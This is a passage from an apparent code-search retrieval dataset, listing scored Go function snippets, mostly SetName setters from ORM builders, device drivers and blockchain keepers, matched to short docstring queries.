\"DRAW\").Count\n\t\t\tai, victim = playCard(ai, victim, nextCardWith(ai, \"DRAW\"))\n\t\t}\n\t}\n\n\treturn ai, victim\n}", "title": "" }, { "docid": "87f0fa0f96e75f540a78fb7cb0603b91", "score": "0.4684227", "text": "func (rb *ResultBuilder) AddCard(g *game.Game, c *deck.Card, can_play bool) *ResultBuilder {\n\tres := &tb.StickerResult{}\n\n\tif can_play {\n\t\tres.Cache = c.Sticker()\n\t\tres.ID = c.UID()\n\t} else {\n\t\tres.Cache = c.StickerNotAvailable()\n\t\tres.ID = fmt.Sprintf(\"cantplay:%s\", c.UID())\n\t\tres.SetContent(&tb.InputTextMessageContent{\n\t\t\tText: g.GameInfo(),\n\t\t\tParseMode: tb.ModeMarkdown,\n\t\t})\n\t}\n\n\trb.results = append(rb.results, res)\n\n\treturn rb\n}", "title": "" }, { "docid": "bc27ee812a8527e1b809a3b34484f225", "score": "0.46814328", "text": "func (_TokenGrant *TokenGrantTransactor) Stake(opts *bind.TransactOpts, _id *big.Int, _stakingContract common.Address, _amount *big.Int, _extraData []byte) (*types.Transaction, error) {\n\treturn _TokenGrant.contract.Transact(opts, \"stake\", _id, _stakingContract, _amount, _extraData)\n}", "title": "" }, { "docid": "4b665febeec7aaa4bef713d4d510a6f2", "score": "0.4674257", "text": "func TestCostOfCards_Chain(t *testing.T) {\n\tg := &Game{}\n\tvar tp = NewTradingPrice(Player{})\n\n\t// the construction of the Horse Breeders requires 1 Clay and 1 Wood\n\tg.players[0] = Player{Resources: NewRes(Clay, Wood)}\n\tassert.Equal(t, Coins(0), CostByCoins(costOf(\"Horse breeders\"), g.players[0], tp))\n\n\t// OR the possession of the Stable\n\tg.players[0] = Player{}\n\tg.apply(\"Stable\")\n\tassert.Equal(t, Coins(0), g.CardCostCoins(cardID(\"Horse breeders\")))\n}", "title": "" }, { "docid": "703f5228883058583e32bd6ea7bf57cb", "score": "0.4671734", "text": "func (t *COD_chaincode) transferMoney(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\tfmt.Println(\"\\n=============== start transferMoney function ===============\")\n\tstart := time.Now()\n\ttime.Sleep(time.Second)\n\tif len(args) != 5 {\n\t\treturn shim.Error(\"expecting 5 arguments\")\n\t}\n\n\told_owner := Balance{}\n\tnew_owner := Balance{}\n\told_owner_name := args[0]\n\tmortgage, err_mortgage := strconv.Atoi(args[1])\n\tif err_mortgage != nil {\n\t\treturn shim.Error(\"balance isn't a number\")\n\t}\n\tnew_owner_name := args[2]\n\tcollection1 := args[3]\n\tcollection2 := args[4]\n\n\t//get old owner's information\n\told_owner_as_byte, err := stub.GetPrivateData(collection1, old_owner_name)\n\tif err != nil {\n\t\treturn shim.Error(\"cannot get owner's infor\")\n\t} else if old_owner_as_byte == nil {\n\t\treturn shim.Error(\"owner doesn't exist\")\n\t}\n\n\t//unmarshal to old_owner variable\n\terr = json.Unmarshal(old_owner_as_byte, &old_owner)\n\tif err != nil {\n\t\treturn shim.Error(\"cannot unmarshal data\")\n\t}\n\n\t//check old_owner balance\n\tif old_owner.Balance < mortgage {\n\t\treturn shim.Error(\"present owner does not enough balance\")\n\t}\n\told_owner.Balance = old_owner.Balance - mortgage\n\n\tnew_info_old_owner_as_byte, err := json.Marshal(old_owner)\n\n\terr = stub.PutPrivateData(collection2, old_owner_name, new_info_old_owner_as_byte)\n\tif err != nil {\n\t\treturn shim.Error(\"cannot save new info of old owner\")\n\t}\n\n\t//get info of virtual account\n\tnew_owner_as_byte, err := stub.GetPrivateData(collection2, new_owner_name)\n\tif err != nil {\n\t\treturn shim.Error(\"cannot get info of new owner\")\n\t}\n\terr = json.Unmarshal(new_owner_as_byte, &new_owner)\n\tif err != nil {\n\t\treturn shim.Error(\"cannot unmarshal new owner\")\n\t}\n\tnew_owner.Balance = new_owner.Balance + mortgage\n\tnew_owner_new_info_as_byte, err := json.Marshal(new_owner)\n\tif err != nil {\n\t\treturn shim.Error(\"cannot marshal new info of new owner\")\n\t}\n\terr = stub.PutPrivateData(collection2, new_owner_name, new_owner_new_info_as_byte)\n\tif err != nil {\n\t\treturn shim.Error(\"cannot put new data of new owner\")\n\t}\n\n\tend := time.Now()\n\telapsed := time.Since(start)\n\tfmt.Println(\"\\nfunction transferMoney\")\n\tfmt.Println(\"time start: \", start.String())\n\tfmt.Println(\"time end: \", end.String())\n\tfmt.Println(\"time execute: \", elapsed.String())\n\tprintMemUsage()\n\tfmt.Println(\"\\n=============== end transferMoney function ===============\")\n\treturn shim.Success(nil)\n}", "title": "" } ]
f06f1b3dcae3199c7072ee7c97918064
SetName sets the Name field's value.
[ { "docid": "220426aa918912a2d18772ac7380c7a1", "score": "0.0", "text": "func (s *AnalysisSearchFilter) SetName(v string) *AnalysisSearchFilter {\n\ts.Name = &v\n\treturn s\n}", "title": "" } ]
[ { "docid": "3775f1bfe3b3c28ae90b10e8682c5dbb", "score": "0.77706164", "text": "func (f *Adaptor) SetName(n string) { f.name = n }", "title": "" }, { "docid": "6bf05fa2894e49908cfb1e6a2629fb78", "score": "0.77633446", "text": "func (zyre *Zyre) SetName(name string) *Zyre {\n\tzyre.requests <- &Cmd{ID: \"SET NAME\", Payload: name}\n\treturn zyre\n}", "title": "" }, { "docid": "42ea97ecc85e28cd2101164073afa1fb", "score": "0.7734691", "text": "func (c *component) SetName(name string) {\n\tc.Call(\"setName\", name)\n}", "title": "" }, { "docid": "1f5fd9d8bedb6f0ac4bd50d452e5d0df", "score": "0.77192444", "text": "func (s BankSet) SetName(value string) {\n\ts.RecordCollection.Set(models.NewFieldName(\"Name\", \"name\"), value)\n}", "title": "" }, { "docid": "deb6781d71bfa0149a665543b8d008e6", "score": "0.7494227", "text": "func (r *Recorder) SetName(name string) { r.MockName = name }", "title": "" }, { "docid": "34ddf70ad91bcb6dc05c3e3b6a420661", "score": "0.74891245", "text": "func (c *Adaptor) SetName(n string) { c.name = n }", "title": "" }, { "docid": "47f2bb747ab3ddf1b2c6df209c8e6d83", "score": "0.7454595", "text": "func (field *Field) SetName(name string) {\n\tfield.name = name\n\tfield._field.Names = []*ast.Ident{ast.NewIdent(name)}\n\tfield.file.Save()\n}", "title": "" }, { "docid": "a7dc17e24a80bc987a9166a336b5ee25", "score": "0.7430387", "text": "func (c *Adaptor) SetName(n string) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tc.name = n\n}", "title": "" }, { "docid": "a7dc17e24a80bc987a9166a336b5ee25", "score": "0.7430387", "text": "func (c *Adaptor) SetName(n string) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tc.name = n\n}", "title": "" }, { "docid": "0595f6d3b6d91faee68a5f293ff5c83a", "score": "0.7316868", "text": "func (_this *HTMLObjectElement) SetName(value string) {\n\tinput := value\n\t_this.Value_JS.Set(\"name\", input)\n}", "title": "" }, { "docid": "47f3533595bc8570b4aa1dcd21d7865a", "score": "0.7309575", "text": "func (jmuo *JDModelUpdateOne) SetName(s string) *JDModelUpdateOne {\n\tjmuo.mutation.SetName(s)\n\treturn jmuo\n}", "title": "" }, { "docid": "7c42d2455ae560dd6a862d8fe3440103", "score": "0.72939044", "text": "func (_m *BleveIndex) SetName(_a0 string) {\n\t_m.Called(_a0)\n}", "title": "" }, { "docid": "8947841e787dcca4d608c16fc5a5ab0e", "score": "0.72873646", "text": "func (mc *ModelCreate) SetName(s string) *ModelCreate {\n\tmc.mutation.SetName(s)\n\treturn mc\n}", "title": "" }, { "docid": "72ea2c04f73b520cf850e33363fb10f8", "score": "0.7273984", "text": "func (m *VulnerabilityComponent) SetName(value *string)() {\n err := m.GetBackingStore().Set(\"name\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "64865df1632f787d8bca675cd78b0d99", "score": "0.7265697", "text": "func (h *HMC8553LDriver) SetName(n string) { h.name = n }", "title": "" }, { "docid": "8cfc498e3a68fca32d30eb5166ceabd0", "score": "0.72369087", "text": "func (m *CustomSecurityAttributeDefinition) SetName(value *string)() {\n err := m.GetBackingStore().Set(\"name\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "28acfd9fd70c7d6dbf8d6af463542117", "score": "0.72344595", "text": "func (m *BaseItem) SetName(value *string)() {\n err := m.GetBackingStore().Set(\"name\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "78038a5c3c59d083900a27c9d8a5fd9b", "score": "0.72284406", "text": "func (desc *Mutable) SetName(name string) {\n\tdesc.DrainingNames = append(desc.DrainingNames, descpb.NameInfo{\n\t\tParentID: desc.ParentID,\n\t\tParentSchemaID: keys.RootNamespaceID,\n\t\tName: desc.Name,\n\t})\n\tdesc.Name = name\n}", "title": "" }, { "docid": "7ee017b49e754898e4a7cc2d4a352340", "score": "0.72124076", "text": "func (l *FakeLight) SetName(name *string) (*string, error) {\n\tlog.Printf(\"Setting device name to %s\", *name)\n\n\tsafe := reg.ReplaceAllString(strings.ToLower(*name), \"\")\n\tif len(safe) > 5 {\n\t\tsafe = safe[0:5]\n\t}\n\n\tlog.Printf(\"Pretending we can only set 5 lowercase alphanum. Name now: %s\", safe)\n\n\tl.sendEvent(\"renamed\", safe)\n\n\treturn &safe, nil\n}", "title": "" }, { "docid": "2f76d1bf07a4acc08f13508789466cb8", "score": "0.72071487", "text": "func (l *location) SetName(name string) error {\n\tvalid := regexp.MustCompile(`(^[a-zA-Z0-9]{1,2}$|^[a-zA-Z0-9][a-zA-Z0-9-.:_]{0,63}$)`)\n\tif !valid.MatchString(name) {\n\t\treturn fmt.Errorf(\"invalid name: %s\", name)\n\t}\n\tl.name = name\n\treturn nil\n}", "title": "" }, { "docid": "835a971f744cbcd3eaba9405d4362854", "score": "0.71804714", "text": "func (d *Driver) SetName(n string) { d.name = n }", "title": "" }, { "docid": "df74999078725a481fb5a21c1b989798", "score": "0.717848", "text": "func (ksuo *KqiSourceUpdateOne) SetName(s string) *KqiSourceUpdateOne {\n\tksuo.mutation.SetName(s)\n\treturn ksuo\n}", "title": "" }, { "docid": "0f2d4f43d93e9a125262fd9ccf6337a9", "score": "0.7177244", "text": "func (d *WebbrickDevice) SetName(name *string) (*string, error) {\n\n\tlog.Infof(\"Setting device name to %s\", *name)\n\n\tsafe := reg.ReplaceAllString(strings.ToLower(*name), \"\")\n\tif len(safe) > 16 {\n\t\tsafe = safe[0:16]\n\t}\n\n\tlog.Warningf(\"We can only set 5 lowercase alphanum. Name now: %s\", safe)\n\td.Device.Name = safe\n\td.sendEvent(\"renamed\", safe)\n\n\treturn &safe, nil\n}", "title": "" }, { "docid": "7eb190a24aed78ca776db08f750c9100", "score": "0.7156187", "text": "func (m *SecurityAction) SetName(value *string)() {\n err := m.GetBackingStore().Set(\"name\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "e87d80a47039bf0939f2571e14d71b19", "score": "0.7149014", "text": "func (m *VerifiedDomain) SetName(value *string)() {\n err := m.GetBackingStore().Set(\"name\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "bc4ce056345e094bc1441c6f98675294", "score": "0.7141246", "text": "func (o *QueryOp) SetName(n string) error {\n\to.m.Lock()\n\tdefer o.m.Unlock()\n\tif o.started {\n\t\treturn ErrStarted\n\t}\n\to.name = n\n\treturn nil\n}", "title": "" }, { "docid": "476dba57ee51c60d61af8fbc2bd1a692", "score": "0.7139289", "text": "func (jmu *JDModelUpdate) SetName(s string) *JDModelUpdate {\n\tjmu.mutation.SetName(s)\n\treturn jmu\n}", "title": "" }, { "docid": "7a8d36958ad4f87c2daec6fa891c6772", "score": "0.71384096", "text": "func (_Contract *ContractTransactor) SetName(opts *bind.TransactOpts, name string) (*types.Transaction, error) {\n\treturn _Contract.contract.Transact(opts, \"setName\", name)\n}", "title": "" }, { "docid": "cebf358b25fa65a90925d0ff72b1db44", "score": "0.7125018", "text": "func (o *RegisterOp) SetName(n string) error {\n\to.m.Lock()\n\tdefer o.m.Unlock()\n\tif o.started {\n\t\treturn ErrStarted\n\t}\n\to.name = n\n\treturn nil\n}", "title": "" }, { "docid": "0deaf13b1da4a1715aa5bd0e66661124", "score": "0.71114576", "text": "func (oob *OneOfBuilder) SetName(newName string) *OneOfBuilder {\n\tif err := oob.TrySetName(newName); err != nil {\n\t\tpanic(err)\n\t}\n\treturn oob\n}", "title": "" }, { "docid": "2714645cf26621cfcaeeac1896809706", "score": "0.71076804", "text": "func (kssc *K8sStatefulSetCreate) SetName(s string) *K8sStatefulSetCreate {\n\tkssc.mutation.SetName(s)\n\treturn kssc\n}", "title": "" }, { "docid": "22912156a2dbf0dfc5721758cf53ec63", "score": "0.70999146", "text": "func (_this *Window) SetName(value string) {\n\tinput := value\n\t_this.Value_JS.Set(\"name\", input)\n}", "title": "" }, { "docid": "a36409d83e6bbc52e7d04a2267ee6ff7", "score": "0.7096503", "text": "func (m *CopyPostRequestBody) SetName(value *string)() {\n m.name = value\n}", "title": "" }, { "docid": "3fbfc6ff5e8afadf08cefd3cb8e59f67", "score": "0.70898896", "text": "func (request *DomainUpdateRequest) SetName(value *string) {\n\trequest.SetStringProperty(\"Name\", value)\n}", "title": "" }, { "docid": "f29658f7e78996bcecc656d6f76a5d29", "score": "0.7088664", "text": "func (huo *HotUpdateOne) SetName(s string) *HotUpdateOne {\n\thuo.mutation.SetName(s)\n\treturn huo\n}", "title": "" }, { "docid": "3e1b531492d580863d7eb79ee6c64336", "score": "0.70748174", "text": "func (muo *ModuleUpdateOne) SetName(s string) *ModuleUpdateOne {\n\tmuo.mutation.SetName(s)\n\treturn muo\n}", "title": "" }, { "docid": "4fec72acfa6cfc959bafc13a9d148990", "score": "0.7066836", "text": "func (m *ProvisioningStep) SetName(value *string)() {\n m.name = value\n}", "title": "" }, { "docid": "ce7a5e56022187ff9a6cc4f727dbe559", "score": "0.7066595", "text": "func (l Light) SetName(newName string) error {\n\t//++ TODO: check for ascii characters only??\n\tif len(newName) > 32 {\n\t\treturn errors.New(\"given name exceeds length limit\")\n\t}\n\n\tsetNameObject := map[string]string{\"name\": newName}\n\tbodyBytes, err := json.Marshal(setNameObject)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbodyBuf := bytes.NewBuffer(bodyBytes)\n\n\tclient := &http.Client{}\n\trequest, err := http.NewRequest(\"PUT\", l.bridge.URL()+\"/lights/\"+l.id+\"/name\", bodyBuf)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := client.Do(request)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\treturn nil\n}", "title": "" }, { "docid": "16f7950ba7cd789a98f0856e124a1404", "score": "0.70640683", "text": "func (s *SSD1306Driver) SetName(n string) { s.name = n }", "title": "" }, { "docid": "8c3b6aa3aacb5fc31d797c7bcb1b3146", "score": "0.706303", "text": "func (hc *HogeCreate) SetName(s string) *HogeCreate {\n\thc.mutation.SetName(s)\n\treturn hc\n}", "title": "" }, { "docid": "cc4a874a5e5c6d9034a4da1f81b7deec", "score": "0.70614547", "text": "func (m *AttachmentBase) SetName(value *string)() {\n m.name = value\n}", "title": "" }, { "docid": "b7ae37f83c2131234f778efa96e07f10", "score": "0.70464236", "text": "func (d *Data) SetName(name *Name) {\n\td.name = name\n\td.wire = nil\n\td.sigValue = make([]byte, 0)\n}", "title": "" }, { "docid": "3b52e19fbbc9c20b12892283fcb377a7", "score": "0.70424867", "text": "func SetName(name string) {\n\tDefaultParser.Name = name\n}", "title": "" }, { "docid": "b3011ffcae22fa283613ae27364429b5", "score": "0.704058", "text": "func (db *DBCreds) SetName(name string) {\n\tif name == \"\" {\n\t\tlog.Println(\"Setting DBCreds name to empty string.\")\n\t}\n\tdb.name = name\n}", "title": "" }, { "docid": "f0a94cde397c6f1d132259dd1a6dfdca", "score": "0.7033766", "text": "func (pl *PathLeaf) SetName(name string) {\n\tcopy(pl.Name[:], []byte(name))\n\tpl.Len = uint16(len(name) + 1)\n}", "title": "" }, { "docid": "5c855b97218c082499700b02b3264f2d", "score": "0.70278305", "text": "func (duo *DomainUpdateOne) SetName(s string) *DomainUpdateOne {\n\tduo.mutation.SetName(s)\n\treturn duo\n}", "title": "" }, { "docid": "4d8a273366fd656953765c516b65eb38", "score": "0.7025285", "text": "func (dbb *Device) SetName(name string) error {\n\tif dbb.bootloaderStatus != nil {\n\t\treturn errp.WithStack(errNoBootloader)\n\t}\n\tif !regexp.MustCompile(`^[0-9a-zA-Z-_]{1,31}$`).MatchString(name) {\n\t\treturn errp.WithContext(errp.New(\"Invalid device name\"),\n\t\t\terrp.Context{\"device-name\": name})\n\t}\n\treply, err := dbb.send(\n\t\tmap[string]interface{}{\n\t\t\t\"name\": name,\n\t\t},\n\t\tdbb.pin)\n\tif err != nil {\n\t\treturn errp.WithMessage(err, \"Failed to set name\")\n\t}\n\tnewName, ok := reply[\"name\"].(string)\n\tif !ok || len(newName) == 0 || newName != name {\n\t\treturn errp.New(\"unexpected result\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "91da22f9d05f4e6a244ca464b2b930c8", "score": "0.70195127", "text": "func (s *MemoryState) SetName(n string) {\n\ts.Lock()\n\ts.Nick = n\n\ts.Unlock()\n}", "title": "" }, { "docid": "1c58cc85bd98c2d21f75b0ea56191ffe", "score": "0.7014405", "text": "func (hu *HotUpdate) SetName(s string) *HotUpdate {\n\thu.mutation.SetName(s)\n\treturn hu\n}", "title": "" }, { "docid": "13450b5323e3ad49d274de2891216c4d", "score": "0.70094895", "text": "func (k Keeper) SetName(ctx sdk.Context, symbol string, value string) {\n\ttoken := k.GetToken(ctx, symbol)\n\ttoken.Value = value\n\tk.SetToken(ctx, symbol, token)\n}", "title": "" }, { "docid": "f8f220307acae420c071dd25421b71de", "score": "0.700462", "text": "func (s *StepperDriver) SetName(n string) { s.name = n }", "title": "" }, { "docid": "daf3081a4b1ed26263ace336d7e28314", "score": "0.69976807", "text": "func (m *PrivilegedRole) SetName(value *string)() {\n err := m.GetBackingStore().Set(\"name\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "797e878913796fa141de0441a6103c6a", "score": "0.6988935", "text": "func (ec *ExchangeCreate) SetName(s string) *ExchangeCreate {\n\tec.mutation.SetName(s)\n\treturn ec\n}", "title": "" }, { "docid": "d17add689782d2532cc0bcb0c4256180", "score": "0.69812346", "text": "func (s *TH02Driver) SetName(n string) { s.name = n }", "title": "" }, { "docid": "4a726d12d48a3e8fa2e543c075a73f62", "score": "0.6980792", "text": "func (du *DomainUpdate) SetName(s string) *DomainUpdate {\n\tdu.mutation.SetName(s)\n\treturn du\n}", "title": "" }, { "docid": "125461265a14e8463aa1d7ea37019add", "score": "0.6977709", "text": "func (tuo *ToolUpdateOne) SetName(s string) *ToolUpdateOne {\n\ttuo.mutation.SetName(s)\n\treturn tuo\n}", "title": "" }, { "docid": "a7c09b9e392514d813ccc90611439af7", "score": "0.69643426", "text": "func (m *widget) SetName(val *string) {\n\tm.nameField = val\n}", "title": "" }, { "docid": "dbd97e10c0b085c5bd9413cbcc1d5767", "score": "0.6958526", "text": "func (cli *CLI) SetName(name string) {\n\tcli.name = name\n}", "title": "" }, { "docid": "6a1fd49852ae98483a0ba527923fe155", "score": "0.69570696", "text": "func (ksu *KqiSourceUpdate) SetName(s string) *KqiSourceUpdate {\n\tksu.mutation.SetName(s)\n\treturn ksu\n}", "title": "" }, { "docid": "89454cbeabf259d2dc7bb354379db493", "score": "0.6951008", "text": "func (proxy ManagerProxy) SetName(id int, name string) bool {\n\tparam := make([]interface{}, 2)\n\tparam[0] = id\n\tparam[1] = name\n\trq := utils.Request{Op: \"SetName\", Params: param}\n\tinv := utils.Invocation{AOR: proxy.AOR, Request: rq}\n\treqtor := requestor.Requestor{}\n\t// getting reply\n\treply := reqtor.Invoke(inv).([]interface{})\n\treturn reply[0].(bool)\n}", "title": "" }, { "docid": "6324bc76677fb7e0e6fec3ed08857213", "score": "0.6949298", "text": "func (_this *HTMLFrameElement) SetName(value string) {\n\tinput := value\n\t_this.Value_JS.Set(\"name\", input)\n}", "title": "" }, { "docid": "e2e41555869cb8dc0b31eddeb12cc24b", "score": "0.69436455", "text": "func (v *Value) SetName(name string) *Value {\n\tv.name = name\n\tif IsPointer(v.ty) {\n\t\tname = \"→\" + name\n\t}\n\tv.llvm.SetName(name)\n\treturn v\n}", "title": "" }, { "docid": "009446d934119cc25a2efab3a55efbc8", "score": "0.6943191", "text": "func (_this *HTMLEmbedElement) SetName(value string) {\n\tinput := value\n\t_this.Value_JS.Set(\"name\", input)\n}", "title": "" }, { "docid": "b9f0b8841653e89aa72e74fa1343265b", "score": "0.69374615", "text": "func (k Keeper) SetName(ctx sdk.Context, name types.Name) {\n\tstore := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefix(types.NameKey))\n\tb := k.cdc.MustMarshalBinaryBare(&name)\n\tstore.Set(types.KeyPrefix(types.NameKey+name.Name), b)\n}", "title": "" }, { "docid": "61a1272c2ffa420a4fb8735fb3e48629", "score": "0.692856", "text": "func (mu *ModuleUpdate) SetName(s string) *ModuleUpdate {\n\tmu.mutation.SetName(s)\n\treturn mu\n}", "title": "" }, { "docid": "01365a01afd47eee28f4f0e457880999", "score": "0.6923858", "text": "func (suo *SeverityUpdateOne) SetName(s string) *SeverityUpdateOne {\n\tsuo.mutation.SetName(s)\n\treturn suo\n}", "title": "" }, { "docid": "ee3ef26ecc70af7e42101ee3683cb0fb", "score": "0.6923392", "text": "func (b *Driver) SetName(n string) { b.name = n }", "title": "" }, { "docid": "1241de27e712f7c4df228e2df8b7dfa2", "score": "0.6923026", "text": "func (euo *EventUpdateOne) SetName(s string) *EventUpdateOne {\n\teuo.mutation.SetName(s)\n\treturn euo\n}", "title": "" }, { "docid": "0e211bc34947210174462a11e74e0951", "score": "0.6919736", "text": "func (m *etcdMinion) SetName(name string) error {\n\tnameKey := filepath.Join(m.rootDir, \"name\")\n\topts := &etcdclient.SetOptions{\n\t\tPrevExist: etcdclient.PrevIgnore,\n\t}\n\n\t_, err := m.kapi.Set(context.Background(), nameKey, name, opts)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to set name of minion: %s\\n\", err)\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "c69ace183405eded660f66000e199d78", "score": "0.6916109", "text": "func (tu *ToolUpdate) SetName(s string) *ToolUpdate {\n\ttu.mutation.SetName(s)\n\treturn tu\n}", "title": "" }, { "docid": "4c46d43d6f676364584d6bb8d9309156", "score": "0.6915856", "text": "func (k *KubernetesResourceV1) SetName(name string) {\n\tk.Metadata.SetName(name)\n}", "title": "" }, { "docid": "0a6799e6facc1be80a7f1d827f5d88e7", "score": "0.6908743", "text": "func (qedc *QccEnterpriseDataCreate) SetName(s string) *QccEnterpriseDataCreate {\n\tqedc.mutation.SetName(s)\n\treturn qedc\n}", "title": "" }, { "docid": "c8eea9faa9f67add81bdcf0f62af9978", "score": "0.6905417", "text": "func (e *FSM) SetName(name string) {\n\te.name = name\n}", "title": "" }, { "docid": "2af9406833459275df374aee18e62069", "score": "0.69001096", "text": "func (pList *ExprList) SetName(Name Token, dequote bool) {\n\tif pList != nil {\n\t\tassert( pList.Len() > 0 )\n\t\tif pItem := &pList.Last(); dequote {\n\t\t\tpItem.Name = Dequote(Name)\n\t\t} else {\n\t\t\tpItem.Name = Name\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ccff611807bc55744ddc4d1c50874acc", "score": "0.6898721", "text": "func (guo *GroupUpdateOne) SetName(s string) *GroupUpdateOne {\n\tguo.mutation.SetName(s)\n\treturn guo\n}", "title": "" }, { "docid": "6f975e6607ad4dad609b35c11b56ef8f", "score": "0.6896745", "text": "func (field *fieldFmtBase) SetName(name string) {\n\tfield.name = name\n}", "title": "" }, { "docid": "0938a74a8fb1edfba09592e9a7427be2", "score": "0.6892708", "text": "func (cuo *ComplaintUpdateOne) SetName(s string) *ComplaintUpdateOne {\n\tcuo.mutation.SetName(s)\n\treturn cuo\n}", "title": "" }, { "docid": "8b0079eeed0bafec7b24b8ac4f7583f2", "score": "0.6890722", "text": "func (smac *SysMenuActionCreate) SetName(s string) *SysMenuActionCreate {\n\tsmac.mutation.SetName(s)\n\treturn smac\n}", "title": "" }, { "docid": "089d01d552f1d1d45fba46032bd50655", "score": "0.6884644", "text": "func (sc *StudentCreate) SetName(s string) *StudentCreate {\n\tsc.mutation.SetName(s)\n\treturn sc\n}", "title": "" }, { "docid": "176ba4994142872cc779dcbdb37d51e7", "score": "0.6875202", "text": "func (k Keeper) SetName(ctx sdk.Context, name string, value string) {\n\twhois := k.GetWhois(ctx, name)\n\twhois.Value = value\n\tk.SetWhois(ctx, name, whois)\n}", "title": "" }, { "docid": "b7f139df8f5d237fb48ee327cbab76cf", "score": "0.6861643", "text": "func (s *Server) SetName(name string) {\n s.name = name\n}", "title": "" }, { "docid": "ca60547138ed8d0db3fdb6f4795424f7", "score": "0.6860586", "text": "func (k Keeper) SetName(ctx sdk.Context, name string, value string) {\n\tstore := ctx.KVStore(k.namesStoreKey)\n\tstore.Set([]byte(name), []byte(value)) // store only takes []byte\n}", "title": "" }, { "docid": "b294d22cfcb15d130f8da161fe25208f", "score": "0.68602127", "text": "func (pc *PhysicianCreate) SetName(s string) *PhysicianCreate {\n\tpc.mutation.SetName(s)\n\treturn pc\n}", "title": "" }, { "docid": "e34c6784ba8b4c625fd2a86f1d944126", "score": "0.6843292", "text": "func (m *CalendarGroup) SetName(value *string)() {\n m.name = value\n}", "title": "" }, { "docid": "504ba641cf9821818198f82ae9044296", "score": "0.6840704", "text": "func (bio *Bio) SetName(name string) error {\n\tif name == \"\" {\n\t\treturn fmt.Errorf(\"name is empty\")\n\t}\n\n\tbio.name = name\n\n\treturn nil\n}", "title": "" }, { "docid": "fd28653293e86c2afba9760ff1b04571", "score": "0.68327475", "text": "func (rc *ResourceCreate) SetName(s string) *ResourceCreate {\n\trc.mutation.SetName(s)\n\treturn rc\n}", "title": "" }, { "docid": "fd28653293e86c2afba9760ff1b04571", "score": "0.68327475", "text": "func (rc *ResourceCreate) SetName(s string) *ResourceCreate {\n\trc.mutation.SetName(s)\n\treturn rc\n}", "title": "" }, { "docid": "c516c9bab21dffc88d554f25fc3be164", "score": "0.68320996", "text": "func (man *Manager) SetName(id int, name string) bool {\n\treturn man.DB.SetName(id, name)\n}", "title": "" }, { "docid": "40b95f753e171ac5e7330ca8b3c7fd61", "score": "0.6830402", "text": "func (ec *EventCreate) SetName(s string) *EventCreate {\n\tec.mutation.SetName(s)\n\treturn ec\n}", "title": "" }, { "docid": "367de12432374c166791014711caba6a", "score": "0.68271226", "text": "func (u *User) SetName(name string) {\n\tu.lock.Lock()\n\tu.name = name\n\tu.lock.Unlock()\n}", "title": "" }, { "docid": "95c4abf3e446cda1ce3e3214051f4995", "score": "0.6826472", "text": "func (luo *LabelUpdateOne) SetName(s string) *LabelUpdateOne {\n\tluo.mutation.SetName(s)\n\treturn luo\n}", "title": "" }, { "docid": "411ded024a2f81a5ca564826e6a9c625", "score": "0.68139344", "text": "func (wireguard *Adapter) SetName(ifname string) (err error) {\n\tifname16, err := windows.UTF16FromString(ifname)\n\tif err != nil {\n\t\treturn err\n\t}\n\tr1, _, e1 := syscall.Syscall(procWireGuardSetAdapterName.Addr(), 2, wireguard.handle, uintptr(unsafe.Pointer(&ifname16[0])), 0)\n\tif r1 == 0 {\n\t\terr = e1\n\t}\n\treturn\n}", "title": "" }, { "docid": "2a980d72be996e10e7095a80138519d6", "score": "0.67987543", "text": "func (cuo *CommentUpdateOne) SetName(s string) *CommentUpdateOne {\n\tcuo.mutation.SetName(s)\n\treturn cuo\n}", "title": "" }, { "docid": "25d995a663100d8ac93e16c9b18379e2", "score": "0.67934895", "text": "func (etuo *EquipmentTypeUpdateOne) SetName(s string) *EquipmentTypeUpdateOne {\n\tetuo.mutation.SetName(s)\n\treturn etuo\n}", "title": "" }, { "docid": "a668f1ed0201704bb0b6e852c818b0f5", "score": "0.67871845", "text": "func (_this *HTMLIFrameElement) SetName(value string) {\n\tinput := value\n\t_this.Value_JS.Set(\"name\", input)\n}", "title": "" }, { "docid": "82090ef41aa47bd1e9c7f7e0fb1bbeee", "score": "0.6784969", "text": "func (puo *PatientUpdateOne) SetName(s string) *PatientUpdateOne {\n\tpuo.mutation.SetName(s)\n\treturn puo\n}", "title": "" }, { "docid": "82090ef41aa47bd1e9c7f7e0fb1bbeee", "score": "0.6784969", "text": "func (puo *PatientUpdateOne) SetName(s string) *PatientUpdateOne {\n\tpuo.mutation.SetName(s)\n\treturn puo\n}", "title": "" }, { "docid": "43d040bd9f5fc1cf561682355722e296", "score": "0.67847526", "text": "func (a *actorNode) setName(n string) {\n\ta.name = n\n}", "title": "" }, { "docid": "e946e2c5b543d6abc1c1501fa865f0c8", "score": "0.67688113", "text": "func (smauo *SysMenuActionUpdateOne) SetName(s string) *SysMenuActionUpdateOne {\n\tsmauo.mutation.SetName(s)\n\treturn smauo\n}", "title": "" }, { "docid": "b168f317c7727f8e210504bac52fc424", "score": "0.67671776", "text": "func (_m *MockETypeParameter) SetName(_a0 string) {\n\t_m.Called(_a0)\n}", "title": "" }, { "docid": "771ea6febf65b38d51d42c7a73bf1645", "score": "0.67668474", "text": "func (cc *ClientConn) SetName(name string) {\n\tcc.mux.Lock()\n\tcc.name = name\n\tcc.mux.Unlock()\n}", "title": "" } ]
ad6ac54420c56c1ba56d38b6f3d59b37
FindAll Returns all users
[ { "docid": "da0272ec0fe681473599b85b22f390e3", "score": "0.79813457", "text": "func (s *Service) FindAll() (*[]entity.User, error) {\n\treturn s.repo.Find()\n}", "title": "" } ]
